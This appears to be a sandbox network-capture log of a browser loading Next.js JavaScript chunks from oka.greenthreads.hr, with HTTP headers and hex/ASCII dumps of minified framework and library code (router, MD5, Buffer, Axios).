2025-04-02 23:18:17 UTC	6676	IN	Data Raw: 7b 75 70 64 61 74 65 53 63 72 69 70 74 73 3a 68 2c 73 63 72 69 70 74 73 3a 6d 2c 67 65 74 49 73 53 73 72 3a 67 2c 61 70 70 44 69 72 3a 79 2c 6e 6f 6e 63 65 3a 5f 7d 3d 28 30 2c 69 2e 75 73 65 43 6f 6e 74 65 78 74 29 28 6c 2e 48 65 61 64 4d 61 6e 61 67 65 72 43 6f 6e 74 65 78 74 29 2c 62 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 74 7c 7c 72 3b 62 2e 63 75 72 72 65 6e 74 7c 7c 28 61 26 26 65 26 26 66 2e 68 61 73 28 65 29 26 26 61 28 29 2c 62 2e 63 75 72 72 65 6e 74 3d 21 30 29 7d 2c 5b 61 2c 74 2c 72 5d 29 3b 6c 65 74 20 76 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 69 66 28 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 21 76 2e 63 75 72 Data Ascii: {updateScripts:h,scripts:m,getIsSsr:g,appDir:y,nonce:_}=(0,i.useContext)(l.HeadManagerContext),b=(0,i.useRef)(!1);(0,i.useEffect)(()=>{let e=t\|\|r;b.current\|\|(a&&e&&f.has(e)&&a(),b.current=!0)},[a,t,r]);let v=(0,i.useRef)(!1);if((0,i.useEffect)(()=>{!v.cur
2025-04-02 23:18:17 UTC	10674	IN	Data Raw: 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 75 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 73 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 63 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 7d 2c 35 39 38 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 65 73 63 61 70 65 53 74 72 69 6e 67 52 65 67 65 78 70 22 2c 7b 65 6e 75 6d 65 Data Ascii: fault.createContext(null),u=i.default.createContext(null),s=i.default.createContext(null),c=i.default.createContext(null)},5987:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"escapeStringRegexp",{enume
2025-04-02 23:18:17 UTC	11860	IN	Data Raw: 49 6e 66 6f 29 28 65 2e 70 61 74 68 6e 61 6d 65 2c 7b 6e 65 78 74 43 6f 6e 66 69 67 3a 6e 2c 70 61 72 73 65 44 61 74 61 3a 21 30 7d 29 2c 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 3a 72 2e 72 6f 75 74 65 72 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 2c 62 75 69 6c 64 49 64 3a 22 22 7d 29 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 69 6e 74 65 72 6e 61 6c 22 2c 6e 65 77 41 73 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 2c 6e 65 77 55 72 6c 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 7d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 65 78 74 65 72 6e 61 6c 22 2c 64 65 73 74 69 6e Data Ascii: Info)(e.pathname,{nextConfig:n,parseData:!0}),defaultLocale:r.router.defaultLocale,buildId:""});return Promise.resolve({type:"redirect-internal",newAs:""+t+e.query+e.hash,newUrl:""+t+e.query+e.hash})}return Promise.resolve({type:"redirect-external",destin
2025-04-02 23:18:17 UTC	10234	IN	Data Raw: 79 6e 63 28 29 3d 3e 7b 69 66 28 43 29 7b 69 66 28 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 6a 73 6f 6e 29 26 26 21 52 29 72 65 74 75 72 6e 7b 63 61 63 68 65 4b 65 79 3a 45 2e 63 61 63 68 65 4b 65 79 2c 70 72 6f 70 73 3a 45 2e 6a 73 6f 6e 7d 3b 6c 65 74 20 65 3d 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 64 61 74 61 48 72 65 66 29 3f 45 2e 64 61 74 61 48 72 65 66 3a 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 65 72 2e 67 65 74 44 61 74 61 48 72 65 66 28 7b 68 72 65 66 3a 28 30 2c 79 2e 66 6f 72 6d 61 74 57 69 74 68 56 61 6c 69 64 61 74 69 6f 6e 29 28 7b 70 61 74 68 6e 61 6d 65 3a 72 2c 71 75 65 72 79 3a 6e 7d 29 2c 61 73 50 61 74 68 3a 69 2c 6c 6f 63 61 6c 65 3a 73 7d 29 2c 74 3d 61 77 61 69 74 20 71 28 7b 64 61 74 61 48 72 65 66 3a 65 Data Ascii: ync()=>{if(C){if((null==E?void 0:E.json)&&!R)return{cacheKey:E.cacheKey,props:E.json};let e=(null==E?void 0:E.dataHref)?E.dataHref:this.pageLoader.getDataHref({href:(0,y.formatWithValidation)({pathname:r,query:n}),asPath:i,locale:s}),t=await q({dataHref:e

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:16 UTC	580	OUT	GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:16 UTC	623	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 95289 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-aea6920bd27938ca.js" Content-Length: 280 Content-Type: application/javascript; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:16 GMT Etag: "fee534cee4da1c4a41d1ee54f48db65b" Last-Modified: Tue, 01 Apr 2025 20:50:07 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-aea6920bd27938ca.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::k9sqj-1743635896900-5fa1a9c83b73 Connection: close
2025-04-02 23:18:16 UTC	280	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 35 39 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 5f 2c 75 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 35 30 33 35 29 7d 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 72 65 74 75 72 6e 20 6e 28 6e 2e 73 3d 5f 29 7d 3b 6e 2e 4f 28 30 2c 5b 37 37 34 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 28 31 35 39 37 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597)

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:16 UTC	573	OUT	GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:16 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 560069 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="186-e401717d9e8b842b.js" Content-Length: 64992 Content-Type: application/javascript; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:16 GMT Etag: "575c44cd8afe1990210f891769bc660a" Last-Modified: Thu, 27 Mar 2025 11:43:47 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/186-e401717d9e8b842b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::6wnch-1743635896913-8d5b6236a5c2 Connection: close
2025-04-02 23:18:16 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 36 5d 2c 7b 34 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 75 74 66 38 3a 7b 73 74 72 69 6e 67 54 6f 42 79 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 6e 2e 73 74 72 69 6e 67 54 6f 42 79 74 65 73 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 2c 62 79 74 65 73 54 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 65 2e 62 69 6e 2e 62 79 74 65 73 54 6f 53 74 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToStri
2025-04-02 23:18:16 UTC	937	IN	Data Raw: 74 2c 30 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 55 69 6e 74 38 41 72 72 61 79 7c 7c 28 74 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 6e 2e 62 79 74 65 73 54 6f 57 6f 72 64 73 28 74 29 2c 75 3d 38 2a 74 2e 6c 65 6e 67 74 68 2c 66 3d 31 37 33 32 35 38 34 31 39 33 2c 6c 3d 2d 32 37 31 37 33 33 38 37 39 2c 63 3d 2d 31 37 33 32 35 38 34 31 39 34 2c 68 3d 32 37 31 37 33 33 38 37 38 2c 70 3d 30 3b 70 3c 72 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 72 5b 70 5d 3d 28 72 5b 70 5d 3c 3c 38 7c 72 5b 70 5d 3e 3e 3e 32 34 29 26 31 36 37 31 31 39 33 35 7c 28 72 5b 70 5d 3c 3c 32 34 7c 72 5b 70 5d 3e 3e 3e 38 29 26 34 32 37 38 32 35 35 33 36 30 3b 72 5b 75 3e 3e 3e 35 5d 7c 3d Data Ascii: t,0):Array.isArray(t)\|\|t.constructor===Uint8Array\|\|(t=t.toString());for(var r=n.bytesToWords(t),u=8*t.length,f=1732584193,l=-271733879,c=-1732584194,h=271733878,p=0;p<r.length;p++)r[p]=(r[p]<<8\|r[p]>>>24)&16711935\|(r[p]<<24\|r[p]>>>8)&4278255360;r[u>>>5]\|=
2025-04-02 23:18:16 UTC	4744	IN	Data Raw: 35 37 39 36 35 31 30 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 36 5d 2c 39 2c 2d 31 30 36 39 35 30 31 36 33 32 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 31 5d 2c 31 34 2c 36 34 33 37 31 37 37 31 33 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 30 5d 2c 32 30 2c 2d 33 37 33 38 39 37 33 30 32 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 2b 35 5d 2c 35 2c 2d 37 30 31 35 35 38 36 39 31 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 31 30 5d 2c 39 2c 33 38 30 31 36 30 38 33 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 35 5d 2c 31 34 2c 2d 36 36 30 34 37 38 33 33 35 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 34 5d 2c 32 30 2c 2d 34 30 35 35 33 37 38 34 38 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c Data Ascii: 5796510),h=y(h,f,l,c,r[p+6],9,-1069501632),c=y(c,h,f,l,r[p+11],14,643717713),l=y(l,c,h,f,r[p+0],20,-373897302),f=y(f,l,c,h,r[p+5],5,-701558691),h=y(h,f,l,c,r[p+10],9,38016083),c=y(c,h,f,l,r[p+15],14,-660478335),l=y(l,c,h,f,r[p+4],20,-405537848),f=y(f,l,c,
2025-04-02 23:18:16 UTC	5930	IN	Data Raw: 6e 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 41 72 72 61 79 2d 6c 69 6b 65 20 4f 62 6a 65 63 74 2e 20 52 65 63 65 69 76 65 64 20 74 79 70 65 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 69 66 28 43 28 74 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 26 26 28 43 28 74 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 Data Ascii: ne of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(C(t,ArrayBuffer)\|\|t&&C(t.buffer,ArrayBuffer)\|\|"undefined"!=typeof SharedArrayBuffer&&(C(t,SharedArrayBuffer)\|\|t&&C(t.buffer,SharedArrayBuffer)))return functi
2025-04-02 23:18:16 UTC	7116	IN	Data Raw: 3d 2b 65 2c 72 3e 3e 3e 3d 30 2c 69 7c 7c 45 28 74 2c 65 2c 72 2c 38 2c 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 2c 2d 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 29 2c 6f 2e 77 72 69 74 65 28 74 2c 65 2c 72 2c 6e 2c 35 32 2c 38 29 2c 72 2b 38 7d 65 2e 42 75 66 66 65 72 3d 61 2c 65 2e 53 6c 6f 77 42 75 66 66 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2b 74 21 3d 74 26 26 28 74 3d 30 29 2c 61 2e 61 6c 6c 6f 63 28 2b 74 29 7d 2c 65 2e 49 4e 53 50 45 43 54 5f 4d 41 58 5f 42 59 54 45 53 3d 35 30 2c 65 2e 6b 4d 61 78 4c 65 6e 67 74 68 3d 32 31 34 37 34 38 33 36 34 37 2c 61 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e Data Ascii: =+e,r>>>=0,i\|\|E(t,e,r,8,17976931348623157e292,-17976931348623157e292),o.write(t,e,r,n,52,8),r+8}e.Buffer=a,e.SlowBuffer=function(t){return+t!=t&&(t=0),a.alloc(+t)},e.INSPECT_MAX_BYTES=50,e.kMaxLength=2147483647,a.TYPED_ARRAY_SUPPORT=function(){try{var t=n
2025-04-02 23:18:16 UTC	8302	IN	Data Raw: 65 7c 7c 77 28 74 2c 31 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 32 38 26 74 68 69 73 5b 74 5d 29 3f 2d 28 28 32 35 35 2d 74 68 69 73 5b 74 5d 2b 31 29 2a 31 29 3a 74 68 69 73 5b 74 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 68 69 73 5b 74 5d 7c 74 68 69 73 5b 74 2b 31 5d 3c 3c 38 3b 72 65 74 75 72 6e 20 33 32 37 36 38 26 72 3f 34 32 39 34 39 30 31 37 36 30 7c 72 3a 72 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 42 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 Data Ascii: e\|\|w(t,1,this.length),128&this[t])?-((255-this[t]+1)*1):this[t]},a.prototype.readInt16LE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var r=this[t]\|this[t+1]<<8;return 32768&r?4294901760\|r:r},a.prototype.readInt16BE=function(t,e){t>>>=0,e\|\|w(t,2,this.length
2025-04-02 23:18:17 UTC	6676	IN	Data Raw: 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 7d 7d 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 74 68 69 73 2e 66 75 6e 3d 74 2c 74 68 69 73 2e 61 72 72 61 79 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 7d 6f 2e 6e 65 78 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 29 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 75 2e 70 75 73 68 28 6e 65 77 20 70 28 74 2c 65 29 29 2c 31 21 3d 3d 75 2e 6c 65 6e 67 74 68 Data Ascii: catch(e){return r.call(this,t)}}}(t)}}function p(t,e){this.fun=t,this.array=e}function d(){}o.nextTick=function(t){var e=Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];u.push(new p(t,e)),1!==u.length
2025-04-02 23:18:17 UTC	10674	IN	Data Raw: 61 74 6f 72 5d 29 7d 2c 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 3a 74 70 2c 69 73 41 73 79 6e 63 46 6e 3a 74 64 2c 69 73 54 68 65 6e 61 62 6c 65 3a 74 79 2c 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 74 67 2c 61 73 61 70 3a 74 6d 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 77 28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 3f 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 74 68 69 73 2e 73 74 61 63 6b 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 41 78 69 6f 73 45 72 72 6f 72 22 2c 65 26 26 28 74 Data Ascii: ator])},toJSONObject:tp,isAsyncFn:td,isThenable:ty,setImmediate:tg,asap:tm};function tw(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=Error().stack,this.message=t,this.name="AxiosError",e&&(t
2025-04-02 23:18:17 UTC	6156	IN	Data Raw: 5b 22 67 65 74 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 Data Ascii: ["get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.header
2025-04-02 23:18:17 UTC	12085	IN	Data Raw: 72 28 22 70 72 6f 67 72 65 73 73 22 2c 69 29 29 2c 68 26 26 79 2e 75 70 6c 6f 61 64 26 26 28 5b 6f 2c 73 5d 3d 74 34 28 68 29 2c 79 2e 75 70 6c 6f 61 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 6f 67 72 65 73 73 22 2c 6f 29 2c 79 2e 75 70 6c 6f 61 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 65 6e 64 22 2c 73 29 29 2c 28 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 7c 7c 75 2e 73 69 67 6e 61 6c 29 26 26 28 6e 3d 65 3d 3e 7b 79 26 26 28 72 28 21 65 7c 7c 65 2e 74 79 70 65 3f 6e 65 77 20 74 32 28 6e 75 6c 6c 2c 74 2c 79 29 3a 65 29 2c 79 2e 61 62 6f 72 74 28 29 2c 79 3d 6e 75 6c 6c 29 7d 2c 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 26 26 75 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 2e 73 75 62 73 63 72 69 62 65 28 6e 29 2c Data Ascii: r("progress",i)),h&&y.upload&&([o,s]=t4(h),y.upload.addEventListener("progress",o),y.upload.addEventListener("loadend",s)),(u.cancelToken\|\|u.signal)&&(n=e=>{y&&(r(!e\|\|e.type?new t2(null,t,y):e),y.abort(),y=null)},u.cancelToken&&u.cancelToken.subscribe(n),

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:17 UTC	581	OUT	GET /_next/static/chunks/pages/index-c362d579fbf7a668.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:17 UTC	626	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 96249 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-c362d579fbf7a668.js" Content-Length: 3437 Content-Type: application/javascript; charset=utf-8 Date: Wed, 02 Apr 2025 23:18:17 GMT Etag: "2d020f71e4b64531c505183ff8a1a4c4" Last-Modified: Tue, 01 Apr 2025 20:34:08 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-c362d579fbf7a668.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::s5mnt-1743635897332-6ab8d1330a81 Connection: close
2025-04-02 23:18:17 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 69 3d 6e 28 32 35 36 38 29 2c 72 3d 6e 2e 6e 28 69 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i)
